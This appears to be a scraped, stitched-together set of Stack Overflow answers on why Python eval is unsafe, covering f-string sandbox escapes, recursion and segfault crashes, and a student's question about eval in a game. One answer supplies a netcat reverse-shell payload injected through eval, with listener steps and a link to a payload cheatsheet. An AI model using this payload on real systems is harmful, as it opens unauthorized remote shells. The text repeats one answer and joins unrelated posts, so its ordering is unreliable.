I'm going to mention one of the new features of Python 3.6 - f-strings.
They can evaluate expressions,
>>> eval('f"{().__class__.__base__}"', {'__builtins__': None}, {})
"<class 'object'>"
but the attribute access won't be detected by Python's tokenizer:
0,0-0,0: ENCODING 'utf-8'
1,0-1,1: ERRORTOKEN "'"
1,1-1,27: STRING 'f"{().__class__.__base__}"'
2,0-2,0: ENDMARKER ''
Answer from vaultah on Stack OverflowI'm going to mention one of the new features of Python 3.6 - f-strings.
They can evaluate expressions,
>>> eval('f"{().__class__.__base__}"', {'__builtins__': None}, {})
"<class 'object'>"
but the attribute access won't be detected by Python's tokenizer:
0,0-0,0: ENCODING 'utf-8'
1,0-1,1: ERRORTOKEN "'"
1,1-1,27: STRING 'f"{().__class__.__base__}"'
2,0-2,0: ENDMARKER ''
It is possible to construct a return value from eval that would throw an exception outside eval if you tried to print, log, repr, anything:
eval('''((lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))
(lambda f: lambda n: (1,(1,(1,(1,f(n-1))))) if n else 1)(300))''')
This creates a nested tuple of form (1,(1,(1,(1...; that value cannot be printed (on Python 3), stred or repred; all attempts to debug it would lead to
RuntimeError: maximum recursion depth exceeded while getting the repr of a tuple
pprint and saferepr fails too:
...
File "/usr/lib/python3.4/pprint.py", line 390, in _safe_repr
orepr, oreadable, orecur = _safe_repr(o, context, maxlevels, level)
File "/usr/lib/python3.4/pprint.py", line 340, in _safe_repr
if issubclass(typ, dict) and r is dict.__repr__:
RuntimeError: maximum recursion depth exceeded while calling a Python object
Thus there is no safe built-in function to stringify this: the following helper could be of use:
def excsafe_repr(obj):
try:
return repr(obj)
except:
return object.__repr__(obj).replace('>', ' [exception raised]>')
And then there is the problem that print in Python 2 does not actually use str/repr, so you do not have any safety due to lack of recursion checks. That is, take the return value of the lambda monster above, and you cannot str, repr it, but ordinary print (not print_function!) prints it nicely. However, you can exploit this to generate a SIGSEGV on Python 2 if you know it will be printed using the print statement:
print eval('(lambda i: [i for i in ((i, 1) for j in range(1000000))][-1])(1)')
crashes Python 2 with SIGSEGV. This is WONTFIX in the bug tracker. Thus never use print-the-statement if you want to be safe. from __future__ import print_function!
This is not a crash, but
eval('(1,' * 100 + ')' * 100)
when run, outputs
s_push: parser stack overflow
Traceback (most recent call last):
File "yyy.py", line 1, in <module>
eval('(1,' * 100 + ')' * 100)
MemoryError
The MemoryError can be caught, is a subclass of Exception. The parser has some really conservative limits to avoid crashes from stackoverflows (pun intended). However, s_push: parser stack overflow is output to stderr by C code, and cannot be suppressed.
And just yesterday I asked why doesn't Python 3.4 be fixed for a crash from,
% python3
Python 3.4.3 (default, Mar 26 2015, 22:03:40)
[GCC 4.9.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> class A:
... def f(self):
... nonlocal __x
...
[4] 19173 segmentation fault (core dumped) python3
and Serhiy Storchaka's answer confirmed that Python core devs do not consider SIGSEGV on seemingly well-formed code a security issue:
Only security fixes are accepted for 3.4.
Thus it can be concluded that it can never be considered safe to execute any code from 3rd party in Python, sanitized or not.
And Nick Coghlan then added:
And as some additional background as to why segmentation faults provoked by Python code aren't currently considered a security bug: since CPython doesn't include a security sandbox, we're already relying entirely on the OS to provide process isolation. That OS level security boundary isn't affected by whether the code is running "normally", or in a modified state following a deliberately triggered segmentation fault.
Maybe try like this
"__import__('os').system('nc your_ip port -e /bin/sh')"
like;
First listen port fresh terminal
nc -lvp 1234
after try another terminal:
"__import__('os').system('nc 10.10.10.10 1234 -e /bin/sh')"
"__import__('os').system('YOUR REVERSE SHELL METHOD')"
here's many reverse shell payload : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
good luck
Try to include globals() and locals() in the eval (to import into the global scope). This is explained in In Python, why doesn't an import in an exec in a function work?
Also see https://lucumr.pocoo.org/2011/2/1/exec-in-python/ chapter Behind the Scenes of Imports
Fairly new to coding and I am making a simple dungeon crawler with Python for a school project.
Since it will include a range of weapons which are objects, I'm currently using
thing = eval(nameOfWeapon + ".get_itemStat()")
(where nameOfWeapon is a variable so I can use this code for any item the player wants to access)
and things similar to that. This feels the most straightforward to me out of my own knowledge, but all sources online consider this a bad practice.
Is there a reason for this or alternatives that are considered better practice? This project will be getting graded so I don't want to lose marks if it's considered a python cardinal sin or something.